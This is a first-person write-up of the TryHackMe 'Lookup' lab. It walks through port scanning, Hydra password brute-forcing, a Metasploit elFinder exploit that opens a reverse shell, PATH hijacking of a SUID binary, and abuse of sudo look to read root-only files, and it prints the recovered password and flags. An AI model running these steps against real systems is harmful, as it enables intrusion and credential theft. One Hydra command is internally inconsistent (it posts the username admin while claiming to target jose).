LOOKUP- TRY HACK ME- ROOM

Phase 1: Reconnaissance and Authentication Bypass

Initial Scanning and Vhost Configuration

The investigation begins with a full-port scan and standard directory brute-forcing.

nmap -sC -sV -p- 10.80.153.15 -T 5

• Port 22 (SSH): Standard remote access.
• Port 80 (HTTP): The primary entry point.

I mapped the main domain to my local resolution file:

sudo nano /etc/hosts

10.80.153.15 lookup.thm

Visiting lookup.thm reveals a login page.

Standard SQL injection and default credentials failed

Credential Harvesting

After performing user enumeration (using a specialized Python script to parse error responses), I identified two valid system usernames: admin and jose.

I targeted the jose account for a dictionary attack.

hydra -l jose -P rockyou.txt lookup.thm http-post-form "/login.php:username=admin&password=^PASS^:Wrong" -V

Result: Successfully cracked the password:

password123

Phase 2: Web Exploitation and Path Hijacking

Exploiting elFinder RCE

Logging in revealed a sub-application hosted on a different virtual host and trying to access it wasn’t working.

I updated the hosts file again to include files.lookup.thm

This page hosted elFinder, a web file manager known for specific Remote Code Execution (RCE) vulnerabilities.

Seeing the credentials in credentials.txt and trying to SSH in, it fails

Heading right away to Metasploit:

msfconsole

search elfinder

use exploit/multi/http/elfinder_archive_cmd_injection (EDB-ID 46481)

set RHOSTS files.lookup.thm

set LHOST tun0

run

This provided a shell as the web user.

However, I could not yet access user.txt or the sensitive .passwordsfile in the home directory.

SUID Privilege Escalation: /usr/sbin/pwm

I searched for SUID binaries to find a path toward the user think.

I identified a custom binary:

/usr/sbin/pwm

Running the binary revealed that it executes the id command internally.

However, it does not use an absolute path, making it vulnerable to Path Hijacking.

Lateral Movement via Path Manipulation

To exploit this, I created a malicious “id” script and manipulated the system’s PATH variable so the SUID binary would execute my script instead of the real system utility.

echo -e '#!/bin/bash\necho "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/id

chmod +x /tmp/id

export PATH=/tmp:$PATH

Then,

/usr/sbin/pwm

Executing the hijacked binary revealed a list of names/strings.

I saved these into a local file, list.txt, suspecting they were potential passwords for the think user.

Phase 3: SSH Access and Root Escalation

Cracking SSH for ‘think’

Performing a targeted SSH brute-force attack using the file list.txt

hydra -l think -P list.txt ssh://10.80.160.219:22

Credentials found:

think:josemario.AKA(think)

ssh think@10.80.160.219

cat user.txt

User Flag:

38375fb4dd8baa2b2039ac03d92b820e

Final Escalation via ‘look’

Checking for administrative privileges

sudo -l

Discovery: (ALL) /usr/bin/look

#The look command is designed to search for strings in a file.

#When run with sudo, it can be used to read any file on the system, including those restricted to root.

Following GTFOBins methodology

LFILE=/root/root.txt

sudo look '' "$LFILE"

This successfully output the contents of the protected root file.

5a285a9f257e45c68bb6c9f9f57d18e8